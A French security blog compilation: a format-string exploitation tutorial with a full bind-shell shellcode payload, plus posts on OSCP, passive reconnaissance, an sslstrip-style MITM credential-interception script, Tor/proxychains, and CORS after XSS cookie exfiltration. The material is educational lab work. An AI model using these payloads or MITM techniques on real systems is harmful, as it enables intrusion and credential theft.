Aujourd’hui un petit article qui traitera d’un cas simple de Format String où nous exploiterons un buffer passé en argument. L’idée de cet article fait suite à la machine Pegasus 1 de vulnhub que je vous recommande chaudement.

J’essaierai d’être assez pédagogue, le cas ci-dessous étant un cas basique sans contournement des protections de la pile.

Qu’entend-on par Format String?

“The format string is written in a simple template language, and specifies a method for rendering an arbitrary number of varied data type parameters into a string.”

%c char single character
%d (%i) int signed integer
%e (%E) float or double exponential format
%f float or double signed decimal
%g (%G) float or double use %f or %e as required
%o int unsigned octal value
%p pointer address stored in pointer
%s array of char sequence of characters
%u int unsigned decimal
%x (%X) int unsigned hex value
%n Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter.

Voici le code que nous allons utiliser:

#include <stdio.h>
#include <string.h>

int main(int argc, char const *argv[])
{

	char argument[101];

	printf("Your input:\n");
	fgets(argument, sizeof argument, stdin);

	printf(argument);		
	printf("Au revoir");

	return 0;
}

L’exécution est simple:

Fuzzons juste pour vérifier que le fgets fait bien son boulot et que nous évitons un débordement classique:

Maintenant faisons un autre test:

#python -c 'print "%x"*100' | ./simple
Your input: 65b7fb05a0b7fffc08bffff27f025c10000257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578782578b7fb03dcbffff2f00b7e152761b7fb00000b7e152761bffff384bffff38c000b7fb0000b7fffc04b7fff00001Au revoir

Wowowo ça y est je suis l’élu, je sais lire la matrice?!

Ce qui se passe ici est du au printf(argument);. Ceci est valable avec toutes les fonctions similaires printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf.

La version secure aurait été printf("%s",argument); pour forcer l’interprétation des données en tant que chaine de caractères:

Your input: 
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Au revoir

Avec printf(argument);, vous pouvez injecter des formateurs qui demanderont à la fonction printf de dépiler de la stack autant d’arguments que de formateurs. Ceci nous permettra de lire la mémoire de notre exécutable et nous le verrons d’écraser des adresses pour rediriger vers notre flot d’exécution.

Avez-vous remarqué la suite 25782578257825782578 affichée avec le formateur %x ?:

echo -n 2578 | xxd -p -r
%x

Nous pouvons lire depuis la mémoire notre argument passé à notre exécutable.

python -c 'print "A"*20 + "-%x"*20' | ./simple
Your input: 
AAAAAAAAAAAAAAAAAAAA-65-b7fb05a0-b7fffc08-bffff27f-0-41c10000-41414141-41414141-41414141-41414141-2d414141-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d
Au revoir

python -c 'print "A"*23 + "-%6$x"' | ./simple
Your input: 
AAAAAAAAAAAAAAAAAAAA-41c10000
Au revoir

Here we go, nous trouvons le premier élement de notre buffer, le caractère ‘A’ (%6$x nous affiche la 6ème adresse). 41c10000 reflète en réalité ce qui est stocké en mémoire de la façon suivante: 0000c141. En cause l’architecture petit-boutiste des processeurs x86.
En effet le formateur %x lira le bloque de 32 bits comme une adresse, affichant en premier les octets de poids fort (donc stockés le plus à droite).

Nous continuerons sous GDB et nous supprimons avant toute protection de la pile:

echo 0 > /proc/sys/kernel/randomize_va_space

cf Wikipédia: L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l’espace d’adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. Il s’agit en général de la position du tas, de la pile, des bibliothèques. Ce procédé permet de limiter les effets des attaques de type dépassement de tampon.

Positionnons un breakpoint juste avant notre appel printf:

Maintenant injectons à nouveau le buffer de 100 caractères et examinons la mémoire juste après l’exécution de notre printf. Pour rappel une cheatsheet sympa en matière de BOs et de fonctionnement de la pile se trouve ici: https://www.0x0ff.info/wp-content/uploads/2014/02/cheat-sheet.png.

Il est logique de voir apparaitre notre buffer dans des adresses plus hautes sur la stack, les segments de cette dernière étant alloués sur des adresses décroissantes (les plus hautes vers les plus basses) et printf étant appelée après l’initialisation de notre buffer.

Nous pouvons en déduire l’adresse de début de notre buffer. Cependant pour avoir des adresses continues, nous prendrons un byte plus loin: 0xbffff24c.

Maintenant revenons sur le formateur %n:
%n Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter.

Ce formateur écrira à l’adresse mémoire qu’on lui stipulera, qui ici sera lue depuis notre buffer.

Maintenant il nous faut trouver l’adresse d’une fonction sur laquelle notre exécutable fera un call. Cela nous permettra de rediriger le flux d’exécution sur notre propre shellcode.
Nous prendrons la fonction puts. Pourquoi ? car cette dernière est appelée juste après la fonction printf.

objdump est une command qui nous fournit diverses informations sur les fichiers objet.
-R : Print the dynamic relocation entries of the file.

L’adresse peut également être trouvée de cette façon:

From Wikipedia: The relocation table is a list of pointers created by the compiler or assembler and stored in the object or executable file. Each entry in the table, or “fixup”, is a pointer to an absolute address in the object code that must be changed when the loader relocates the program so that it will refer to the correct location.

jmp *0x804a014 nous montre que l’on va faire un jump à l’adresse contenue à l’adresse 0x804a014.

Let’s check in gdb:

Il semblerait que nous puissions écrire sur ce segment mémoire. Comment allons-nous procéder?
D’abord injectons l’adresse mémoire à laquelle nous souhaitons écrire:

On définit maintenant un point d’arrêt cette fois juste avant l’appel à la fonction printf:

Bingo. On voit bien que l’adresse a été écrasée et que nous avons une segmentation fault.

Maintenant la partie sensible, l’écriture de cette adresse. Pour écrire cette adresse nous utiliserons le formateur %7$hn dans notre cas. L’instruction de formatage %hn n’écrit que sur 16 octets.

Globalement notre buffer ressemblera à ceci:

"A"+"@ où écrire 16bits" + "@ où écrire les 16 autres bits" + "valeur correspondante à ces 16 bits" + "formateur écriture 16 bits" + "valeur correspondante à ces 16 autres bits" + "formateur écriture 16 bits" + "shellcode"

Pourquoi ne pas écrire directement les 32 bits? Nous utiliserons la précision sur le formatage d’une valeur, ici le nombre de caractères sur lequel nous l’afficherons. L’adresse convertie en entier fournit un entier tout simplement trop grand pour être utilisé.

(gdb) print 0xbffff24c 
$2 = 3221221964

Tapez printf "%3221221964u" dans votre console.

L’adresse finale écrite sera l’adresse de notre “shellcode”.

Première étape:

(gdb) r < <(python -c 'print "A" + "\x14\xa0\x04\x08" + "\x16\xa0\x04\x08" + "%7$hn" + "A" + "%8$hn" + "A"*50') 
...
Program received signal SIGSEGV, 
Segmentation fault. 0x000a0009 in ?? () 

Maintenant déterminons l’adresse précise de notre shellcode:

0xbffff26c semble être un bon candidat. On ajoutera quelques NOPs également comme marge de manoeuvre, l’objectif étant de tomber dans nos NOPs et de slider jusqu’à notre shellcode.

Ok maintenant les calculs:
@ de puts: 0x804a014
@ du shellcode: 0xbffff26c

Calcul de la première partie de l’adresse (conversion décimale):

(gdb) print 0xbfff - 9 
$3 = 49142

printf "%x\n" 49142
0xbff6

Calcul de la seconde partie de l’adresse :

(gdb) print 0xf26c - 0xbff6 - 9
$18 = 12909

Ensuite on teste:

(gdb) r < <(python -c 'print "A" + "\x14\xa0\x04\x08" + "\x16\xa0\x04\x08" + "%49142x" + "%8$hn" + "%12909x" + "%7$hn" + "\x90"*4 + "A"*100')

un rapide calcul nous montre qu’il nous reste 63 bytes pour notre shellcode.

Allons faire notre marché sur shell-storm.
Celui la est fun: http://shell-storm.org/shellcode/files/shellcode-872.php.
Il s’agit d’un shellcode qui appelle netcat (/bin/nc) et bind le port 17771 pour le rediriger sur /bin/sh.

Nous adaptons donc notre payload et le testons sous gdb:

(gdb) r < <(python -c 'print "A" + "\x14\xa0\x04\x08" + "\x16\xa0\x04\x08" + "%49142x" + "%8$hn" + "%12909x" + "%7$hn" + "\x90"*4 + "\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"')

Here we go, essayons de nous connecter:

Du coté de notre shellcode:

Nous pouvons donc en conclure qu’à partir d’un simple appel printf, il a été possible d’exécuter un bind shell. Bien évidemment ceci est un cas d’école et a été possible grâce à la désactivation de l’ASLR, rendant ainsi nos adresses prédictibles.

Pour conclure, si vous rencontrez un souci entre l’exécution dans l’environnement gdb et votre shell, voici une réponse: https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it. Assurez-vous que les environnements soient strictement identiques. Ce script peut également vous aider à avoir le même environnement avec/sans debugging.

N’hésitez pas à me contacter ou à laisser un com.
See Ya!

Références:

https://www.owasp.org/index.php/Format_string_attack

OSCP: une première étape

2017-02-17T00:00:00+00:00

Bonjour à tous,

Premier article de l’année, cependant ces derniers temps furent bien remplis avec notamment le passage de l’OSCP. J’en profite donc pour écrire une petite revue sur cette certif en espérant partager des infos qui pourront vous être utiles.

Qu’est-ce que l’OSCP?

L’OSCP est une certification en sécurité offensive (pentesting) délivrée par Offensive Security, acteur majeur de la scène infosec puisqu’ils sont derrière plusieurs projets comme la distribution Kali, The Exploit Database, ou encore la Google Hacking Database. L’OSCP permet de valider vos compétences concernant la formation PWK (Penetration testing With Kali).

Le gros plus de cette formation est qu’elle va vous permettre de pratiquer dans un lab qui simule un réseau d’entreprise. On est donc loin de la classique certif QCM uniquement basée sur du bachotage. Ici vous passerez par toutes les étapes d’un pentest, et on ne vous répètera jamais assez… Enumerate, enumerate, enumerate ! Effectivement la reconnaissance est la première étape primordiale sur laquelle vous devrez mettre l’accent.

Mais l’OSCP c’est également une communauté de passionnés, d’entraide, de chans slack ou IRC. Une belle aventure vous attend.

Déroulement

L’OSCP se compose d’un pdf de 375 pages, de ~150 vidéos d’une durée entre 2 ~ 10min, et d’un lab pour vous exercer. A l’issue de ce lab vous pourrez planifier votre examen, ou même avant si vous vous sentez prêt. Le lab est composé de 4 réseaux, un student network, qui lui même route sur un dev network et un it network, ce dernier routant également sur un admin network.

Vous aurez donc à énumerer les machines (services, dns, domain controllers, webapp, vulns, …), à obtenir un premier accès utilisateur pour ensuite effectuer une élévation des privilèges et devenir root/system. Ne négligez pas la partie post-exploitation.

Vous aurez à pivoter entre les différents réseaux, faire en fonction de solutions antivirales et pare-feux sur les machines. Il y a un nombre équivalent de machines virtuelles WIN/LINUX. Tous les exploits à utiliser sont référencés sur exploit-db. Vous pouvez aussi utiliser l’outil en ligne de commande searchsploit.

Concernant les exploits:
Certains exploits fonctionneront out-of-the-box, d’autres demanderont plus d’attention et devront être modifiés pour matcher avec la machine cible, injecter votre propre payload, …

Un point sur les BO: vous appréhenderez un stack overflow classique sur un exe sans protection DEP ou ASLR (ceci sera pour les autres certifs OSCE, OSEE). Ce fût une section kiff++, ce qui me fait me pencher sérieusement sur l’OSCE.

Si vous souhaitez rallonger la durée du lab, vous pourrez le faire avant l’expiration de ce dernier. Le lab vous préparera au mieux pour l’exam de 24h.

Durée / Tarifs

Tout dépend du temps que vous pourrez allouer à la formation. Je vous conseillerais, étant donné que vous pouvez étendre la durée du lab (cela vous reviendra un poil plus cher cependant), de ne pas viser une durée trop importante si vous avez une bonne capacité de travail.

Personnellement, je bossais en moyenne 2h par jour en parallèle de mon job et full les week-end. Mais comme on dit quand on aime on ne compte pas. Au final j’étais parti sur un lab de 3 mois, et j’ai pu bouclé la certif en 2 mois. Il me reste donc un mois de lab pour quelques petites douceurs à savoir les dernières machines du réseau Admin :).

Exam / Livrables

Roulements de tambour, vous avez bouclé votre date d’exam, c’est le jour J, vous êtes chaud patate, let’s go…

L’exam se déroule sur 24h. Pendant ces 24h vous aurez à hacker un certain nombre de machines qui vous rapporteront des points en fonction de leur difficulté et du niveau de compromission de la machine (low/high privileged shell). Un minimum de 70 points est requis pour obtenir la certification. Tout ce que vous verrez pendant l’exam a été vu dans le lab (les machines humble/pain/sufferance sont hors scope exam mais faites les).
Donc mon premier conseil est de passer du temps sur le lab et de compromettre un maximum de machines.

Un exemple, mon exam a commencé à 10h, à 6h le lendemain j’avais réussi à compromettre toutes les machines (5 au total) et recueilli un maximum d’infos pour la rédaction du rapport. J’avais compromis 47 machines pendant le lab.

Vous aurez ensuite à nouveau 24h pour rendre un rapport détaillé et professionnel sur votre test de pénétration. Ce rapport est obligatoire. OffSec vous fournira un template de rapport que vous pourrez utiliser si vous le souhaitez.

Point bonus:

Vous pouvez rendre un rapport sur les exercices du PDF et sur les machines compromises du lab. Chaque rapport peut vous rapporter 5 points (un total de 10 points bonus).

Conseils

Rédigez les rapports concernant les exercices du pdf et les étapes pour compromettre les machines du lab (10 machines minimum requises). Ces points pourront vous être précieux et vous enlèveront une dose de stress le jour de l’exam. Et puis ne serait-ce que sur un plan pédagogique cela vous permettra d’être certain d’avoir tout assimilé et de ne pas survoler les cours.
Organisez votre information et structurez la pour pouvoir y accéder rapidement. Utilisez un soft comme Keepnote/Cherrytree.
Utilisez la VM Kali fournie par OffSec.
Ne vous précipitez pas, prenez le temps d’avoir une vision précise de votre cible.
N’abandonnez-pas, échangez, discutez avec la communauté mais évitez de vous faire spoiler des indices. Vous en tirerez d’autant plus de gratitude en ayant try harder :)
Le jour de l’exam, faites attention aux ‘rabbit-holes’. Si vous explorez une piste trop longtemps passez à autre chose. On ne vous demandera jamais de bruteforcer plus de 30 mins. Et ne négligez aucun détail de votre énumération. keep calm and enumerate.

Conclusion

l’OSCP fût une excellente expérience et hautement addictive. Les 24h d’exams sont intenses, mais cela ne sera que du bonheur.

N’hésitez pas à me contacter si vous souhaitez des infos sur le sujet!
Twitter
Github

A bientôt!

Prise d'empreinte passive - Netcraft et Shodan

2016-12-05T00:00:00+00:00

Bonjour à tous,

Aujourd’hui nous parlerons de la prise d’empreinte passive et des plateformes netcraft et shodan. La prise d’empreinte passive consiste en l’agrégation d’informations publiques concernant une cible (sans requêtage direct de ses serveurs).

La prise d’empreinte au sens large devra être la plus exhaustive possible pour maximiser la probabilité de réussite d’une attaque:

prise d’informations sur l’entreprise et son activité (énumération des employés et adresses mail (theharvester)
base de données Whois
Google dorks
SMTP, SMB, SNMP, DNS enumeration (recon-ng, dnsrecon, nbtscan, enum4linux, snmpwalk)
Scan des services et des bannières
Scan des vulnérabilités (metasploit, nikto, OpenVAS, NSE vuln)

Il est possible de collecter beaucoup d’informations via les moteurs de recherche. Pour cela je vous redirige vers l’excellent site d’Offensive Security https://www.exploit-db.com/google-hacking-database/ et la Google Cheat Sheet du SANS https://www.sans.org/security-resources/GoogleCheatSheet.pdf.

Quelques exemples de recherches:

D’autres informations sur la prise d’empreinte passive:

Base de données Whois

Selon Wikipedia: Each registrar must maintain a Whois database containing all contact information for the domains they host. These databases are usually published by a Whois server over TCP port 43. The whois client can also perform reverse lookups. Rather than inputting a domain name, you can provide an IP address.

whois microsoft.com

recon-ng:

Outil complet de prise d’empreinte: https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home

$ recon-ng
[recon-ng][default] > use recon/domains-contacts/whois_pocs
[recon-ng][default][whois_pocs] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  cisco.com      yes       source of input (see 'show info' for details)

[recon-ng][default][whois_pocs] > set SOURCE cisco.com
SOURCE => cisco.com
[recon-ng][default][whois_pocs] > run

---------
CISCO.COM
---------
[*] URL: http://whois.arin.net/rest/pocs;domain=cisco.com
[*] URL: http://whois.arin.net/rest/poc/GAB42-ARIN
[*] [contact] Gary Abbott (gabbott@cisco.com) - Whois contact
[*] URL: http://whois.arin.net/rest/poc/SMA-ARIN
[*] [contact] Steve Acheson (satch@cisco.com) - Whois contact
[*] URL: http://whois.arin.net/rest/poc/ACKER5-ARIN
[*] [contact] Barry Ackerman (backerma@cisco.com) - Whois contact
...

recon-ng modules:

show modules (pour lister tous les modules)
recon/domains-hosts/google_site_web (récupération des sous-domaines)
recon/domains-vulnerabilities/xssed (cherche dans la database http://xssed.com, sites vulnérables au XSS)
...

theharvester

The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database - http://www.edge-security.com/theharvester.php.

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Usage: theharvester options 

       -d: Domain to search or company name
       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
                        google-profiles, jigsaw, twitter, googleplus, all

       -s: Start in result number X (default: 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file (both)
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp doesn't use this option)
       -h: use SHODAN database to query discovered hosts

Examples:
        theharvester -d microsoft.com -l 500 -b google -h myresults.html
        theharvester -d microsoft.com -b pgp
        theharvester -d microsoft -l 200 -b linkedin
        theharvester -d apple.com -b googleCSE -l 500 -s 300

Exemples de commandes:

theharvester -d mycompany.com -l 500 -b google -t -h -f results_google.html
theharvester -d mycompany.com -l 500 -b linkedin > results_linkedin.txt

L’option -h utilise la base de données Shodan.io https://www.shodan.io/.

www.shodan.io

Shodan is a search engine that lets the user find specific types of computers (web cams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are meta-data the server sends back to the client.[1] This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server.

Shodan est un site de Data Mining dont les informations proviennent du scan d’adresses ip publiques. Leur service agrége toutes les informations sur les services exposés et leurs bannières. Un exemple, Shodan.io permet de détecter de nombreux IoT, webcam, Industrial Control Systems, et j’en passe.

Voici par exemple une capture d’écran d’une recherche sur les Caméras connectées ayant une ip géolocalisée sur Paris:

www.netcraft.com

Netcraft provides web server and web hosting market-share analysis, including web server and operating system detection. Netcraft also provides security testing, and publishes news releases about the state of various networks that make up the Internet.

Si vous souhaitez rechercher par nom de domaine: https://searchdns.netcraft.com/.
Cliquez ensuite sur Site Report:

Ces bases de connaissance sont utiles pour qu’une entreprise puisse prendre connaissance des informations à disposition d’un assaillant. Exemple un simple mail pro utilisé dans un forum peut être utilisé pour du phising ciblé.

Passive DNS databases

Les bases de passive DNS permettront d’obtenir passivement différent types d’enregistrements DNS (Passive Mnemonic est gratuit). D’autres solutions payantes existent comme DNSDB ou RisqIQ.

A bientôt.

MITM Partie 1 - Attaque MITM sur HTTPS

2016-10-01T00:00:00+00:00

Bonjour à tous,

L’objectif est de partager avec vous un script créé pour automatiser une attaque ‘Man In The Middle’ permettant l’obtention des identifiants de la victime de la façon la plus transparente possible.

Préambule:

Nous allons donc cibler un site possédant au moins une page non sécurisée (HTTP), permettant ainsi l’interception en clair des liens HTTPS et de les transformer en liens HTTP classiques (HTTP Strict Transport Security (HSTS) ne doit pas s’appliquer comme nous le verrons par la suite). Certains outils comme sslstrip permettent ce genre d’opérations, en éliminant le caching des pages et en traitant également les headers response Location lors des redirections.

De notre coté nous utiliserons un script Python, sslstrip.py, développé pour l’occasion, que nous utiliserons avec l’outil mitmproxy.

Pour rappel:

L’attaque de l’homme du milieu ou man-in-the-middle attack (MITM) est une attaque qui a pour but d’intercepter les communications entre deux parties, sans que ni l’une ni l’autre ne puisse se douter que le canal de communication entre elles a été compromis.

Cette attaque se base sur la corruption du cache ARP enregistrant les correspondances @IP <-> @MAC sur un réseau local.

Toujours dans un contexte MITM, l’objectif est d’identifier les liens sécurisés et redirections (https), de les ‘stripper’ en http, dans le but de maintenir le type de connexion suivante:

victime <-- HTTP --> mitmproxy <-- HTTPS --> website

Le but est qu’à partir d’une page non sécurisée d’un site, nous puissions continuer en proposant à notre victime une connexion en clair (http) pour analyser son trafic, mais que notre proxy communique en SSL/TLS avec le site concerné. Cette attaque ne pourra pas aboutir sur des sites implémentant le HSTS (sauf si l’utilisateur ne s’est jamais connecté au site et que le HSTS n’est pas préchargé - mécanisme de Trust On First Use).

Le stripping est effectué par le script sslstrip.py, qui permet également de supprimer d’autres headers de sécurité, notamment les fameux cookies secure que nous avons abordés dans un article précédent.

Premier test:

Vous trouverez le projet full et à jour (de nouvelles features apparaissent régulièrement) sur mon github.

Le script chk_poison.py va également permettre de vérifier que votre ARP poisoning est opérationnel dans les deux sens (Victime <-> Passerelle). N’oubliez pas que certaines protections filtrent les résolutions ARP non légitimes.

Vous pouvez donc tester mitmproxy sans attaque MITM, en l’utilisant en mode Regular. La commande sera la suivante:

mitmproxy --anticache --host --anticomp --noapp --script ./sslstrip.py --eventlog

Il convient ensuite de configurer votre navigateur avec le proxy http 127.0.0.1:8080. Ne mettez rien pour le proxy https, l’objectif ici n’est pas de générer à la volée de faux certificats et donc nous ne souhaitons pas capturer le trafic chiffré.

mitm.sh permet également d’injecter un payload javascript (ex Beef) dans les pages de la victime et d’effectuer une attaque de social engineering par DNS spoofing.

Vous trouverez une véritable attaque de bout en bout sur ce post.

Je vous dis à très bientôt!

Anonymat avec TOR et Proxychains sous Kali

2016-09-17T00:00:00+00:00

Bonjour à tous,

Après m’être demandé comment lancer toutes mes commandes derrière un proxy SOCKS pour masquer mon ip (certaines commandes ne proposent pas d’option pour rediriger vers un proxy SOCKS), vous pouvez vous en sortir grâce au réseau TOR et un outil appelé Proxychains.

Installez tor et proxychains:

apt-get install tor
apt-get install proxychains

Tor écoute par défaut sur le port 9050. Editer le fichier /etc/tor/torrc et décommentez la ligne SOCKSPort 9050

Lancer ensuite TOR as a service: service tor start

Vous pouvez vérifier que TOR écoute en lançant la commande netstat -tulpn, vous devriez voir:

Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat        PID/Program name
tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      -

Maintenant comment linker nos commandes sur TOR?

Proxychains va prendre en paramètre notre commande et linker le processus vers le(s) proxy(ies) de votre choix.

ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.

Utilisation:

ProxyChains-3.1 (http://proxychains.sf.net)
	usage:
		proxychains <prog> [args]

Proxychains demande de modifier sa configuration: gedit /etc/proxychains.conf

Voici ma configuration:

# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#	

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#            	socks5	192.168.67.78	1080	lamer	secret
#		http	192.168.89.3	8080	justu	hidden
#	 	socks4	192.168.1.49	1080
#	        http	192.168.39.93	8080	
#		
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 	127.0.0.1 9050

dynamic_chain: pertinent surtout si vous chainez plusieurs proxies, les proxies down ne seront simplement pas pris en compte.
quiet_mode: sortie non verbeuse.
proxy_dns: demandera au proxy d’effectuer les résolutions DNS (SOCKS4a et SOCKS5).
tcp_read_time_out 15000, tcp_connect_time_out 8000: socket timeout.
socks5 127.0.0.1 9050: ici nous utilisons le réseau TOR.

J’ai eu perso une erreur du type:
ERROR: ld.so: object 'libproxychains.so.3' from LD_PRELOAD cannot be preloaded: ignored.

La librairie partagée libproxychains.so.3 n’a pas été trouvée. La variable d’environnement LD_PRELOAD n’est donc pas correctement initialisée (variable qui permet d’effectuer le hook des appels aux sockets).

Editez le fichier /usr/bin/proxychains et remplacez
export LD_PRELOAD=libproxychains.so.3
par
export LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libproxychains.so.3

Au besoin effectuez un locate libproxychains.so.3

Je vous dis à très bientôt!

XSS, CORS, CSRF (Partie 3)

2016-08-20T00:00:00+00:00

Les requêtes Cross-Site.

Bienvenue dans ce dernier volet de notre Saga XSS (partie 1, partie 2).

Dans notre précédent article nous avions récupéré un cookie de session insuffisamment sécurisé grâce à une vulnérabilité XSS. Vous étiez nombreux dans ma tête à me demander pourquoi ce message d’erreur (ici Chrome mais le fonctionnement est identique sous IE, Firefox) :

XMLHttpRequest cannot load http://requestb.in/w7iy5sw7?cookie=PHPSESSID_unsecured=jm5mah0a9uuf4g344096nled73. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost' is therefore not allowed access.

Alors que nous avions bien réceptionné notre requête sur requestb.in :

Et bien nous sommes dans le cas d’une requête simple Cross-origin :

Le Cross-origin resource sharing (CORS) est un mécanisme qui permet à des ressources restreintes d’une page web d’être requêtées par un autre domaine que celui de la ressource en question.

Comme stipulé sur le site de Mozilla :

Le standard de partage de ressources d’origines croisées fonctionne grâce à l’ajout d’entêtes HTTP qui permettent aux serveurs de décrire l’ensemble des origines permises. C’est ensuite le navigateur qui lit cette information et en fait l’usage adéquat. Par ailleurs, pour les requêtes HTTP dont les méthodes pourraient avoir des effets secondaires sur les données utilisateur (non idempotentes - en particulier pour les méthodes HTTP autres que GET, ou pour l’utilisation du POST avec certains types MIME), la spécification mandate les navigateurs de “pré-vérifier” la requête en sollicitant le serveur pour connaître les méthodes approuvées. Cette pré-vérification s’effectue avec la méthode HTTP OPTIONS, et ensuite, après “approbation” du serveur, envoie la requête véritable. Les serveurs peuvent aussi notifier les clients des informations pouvant être associées aux requêtes cross-origin (incluant les cookies et les données d’authentification HTTP).

Dans notre exemple de requête simple cross-origin, le domaine de la ressource ayant initié la requête (http://localhost:80) étant différent du domaine requêté (http://requestb.in:80), notre navigateur détecte une requête CORS (l’origine est représentée par protocole://domaine:port). Pour connaitre le comportement à adopter, le navigateur attend dans la réponse un header Access-Control-Allow-Origin qui nous informe sur l’autorisation d’accès ou non à la ressource. Le comportement par défaut en l’absence d’un tel header est de considérer l’opération comme DONE (xhr.readyState == 4) mais de retourner un statut UNSENT/OPENED (xhr.status == 0). Nous ne pourrons donc pas accéder au contenu de notre réponse.

Cependant nous remarquons que sans filtre explicite coté serveur et en déléguant la sécurité au navigateur (absence par défaut du header Access-Control-Allow-Origin), la requête a été correctement traitée coté serveur. Ceci ne sera pas le cas avec les requêtes pré-vérifiées.

Requête simple :

Une requête cross-site simple est une requête qui:

Utilise les méthodes HTTP GET, HEAD ou POST. Si POST est utlisé pour envoyer des données au serveur le Content-Type des données envoyé au serveur est soit application/x-www-form-urlencoded, multipart/form-data, ou text/plain.
Ne positionne pas d’entêtes personnalisés avec la requête HTTP Request (comme par exemple X-Modified, etc.).

Requête pré-vérifiée :

Une requête est prévérifiée si :

Elle utilise des méthodes autres que GET, HEAD ou POST. Aussi, si POST est utilisée pour envoyer des requêtes de données avec un Content-Type autre que application/x-www-form-urlencoded, multipart/form-data, ou text/plain, par exemple si la requête POST envoie au serveur un contenu utile XML en utilisant application/xml ou text/xml, alors la requête est pré-vérifiée.
Elle positionne des entêtes propres (ex: la requête utilise une entête comme X-PINGOTHER).

Vous trouverez un très bon exemple de requête CORS préflight ici.

Le serveur nous retournera tous les headers nécessaires pour informer le client des autorisations Cross-Origin. Encore une fois inutile de faire du copier/coller, vous trouvez la liste de ces headers response ici. Certains request headers sont automatiquement positionnés par le navigateur.

Vous ne pourrez pas agir sur les request headers CORS, si vous tentez ce genre d’opérations :

xhr.setRequestHeader('Origin','http://requestb.in');
xhr.setRequestHeader('Referer','http://requestb.in/11hlgzo1');

Vous aurez un joli message sous Chrome et le navigateur positionnera lui-même ces entêtes (comportement identique sous Firefox et IE, seuls les messages d’erreur diffèrent):

Refused to set unsafe header "Origin"  
Refused to set unsafe header "Referer"

La première chose pour un site souhaitant faire du CORS est de bien positionner les origines autorisées avec le header Access-Control-Allow-Origin. Ce dernier doit stipuler explicitement les origines autorisées pour bénéficier pleinement de l’utilisation des XHR (rappelons que l’utilisation de ces headers concernent les XmlHttpRequest, une iframe par exemple n’émettra pas de header Origin et sera soumise à la Same Origin Policy).

